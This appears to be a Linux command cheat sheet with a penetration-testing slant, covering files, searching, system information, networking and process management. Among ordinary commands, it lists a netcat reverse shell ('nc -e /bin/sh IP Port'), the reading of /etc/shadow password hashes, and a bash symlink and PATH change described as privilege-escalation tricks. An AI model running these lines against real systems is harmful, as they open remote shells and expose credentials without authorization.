Linux Commands
Files and Folders
pwd Get the current working directory
ls List of all the files/folders in current directory
ls / List of all the files/folders in root directory
ls -la list of all the files (hidden also) with permission
cd / Navigate to root directory
cd /dirName/ Navigate to a particular directory in the root
cd .. Navigate 1 directory back. (Click of back button in windows)
cd ../.. Navigate back 2 directories
mkdir dirName Create new directory
rmdir dirName Remove directory(only if directory is empty)
rm fileName Remove a file
rm –r dirName Remove folder containing file(s)
nano fileNameCreate a new file using nano text editory
touch fileName Create a empty file
ls > file Overwrite the file with output of ls(or any other) command
ls >> file Append to the file
diff file1 file2 Shows the difference between two files
file fileName Check the file type
cp dest1 dest2 Copy a file from dest1 to dest2
mv dest1 dest2 Cut a file from dest1 to dest2 (Also used to rename the file)
Sorting and Searching
sort -r Sort in reverse order
sort -n Sort the number
sort -M Sort by month
ls | grep keyWord The output of ls command is passed as input to grep
grep -r Search recursively by going into sub folders
grep -i Search by ignoring cases
find . -name fileName Find a file in current and sub-directories
find /home -name *.jpg Find all .jpg files in the /home and sub-directories
find . -name *.jpg -delete Find and delete all .jpg files in current and sub-directories
whereis cmdName Search a command
which binFile Find the path of executable file
System Information
cat /etc/os-release Get the OS version
uname -a Get system information
cat /etc/passwd Get list of all the users in the system
cat /etc/shadow Get list of hashed password of all the users in the system
/bin/bash Run bash shell
printenv Print all the environment variables
nano /etc/resolv.conf Change DNS configuration
/var/www Directory where web applications are located
Network
netstat -antp Get the list of all(-a) the open tcp sockets(-t) along with its details like numeric local and foreign address (-n) and process (-p)
nc -vv -l -p Port Open a socket to listen for incoming connection
vv : more verbose
-l : listening
-p : port
nc -e /bin/sh IP Port Connecting to netcat service running on other system and open the reverse shell
ifconfig -a List all the network adapter settings along with the interface
ln -s /bin/bash[link to file] ps[new symbolic link] Symbolic link to existing file(used in privilege escalation attacks)
export PATH=.:$PATH Add current location to executable path
alias new="touch" Using alias for a command. Now new will execute touch
Unpacking files
tar -xvzf myFiles.tar.gz Unpack a file
Others
ps aux Get list of running processes
passwd userName change a user's password
sudo shutdown -h now Shutdown the system
sudo reboot Reboot the system
man or [command] –help Get the help for a particular command
chmod +x fileName Make a file executable
kill -9 pid Kill a process using process id (process id is obtained using ps command)
history List of all the commands used in past by the current user
service serviceName start Start a service
/etc/init.d/apache2 restart Restart apache web server
Updating..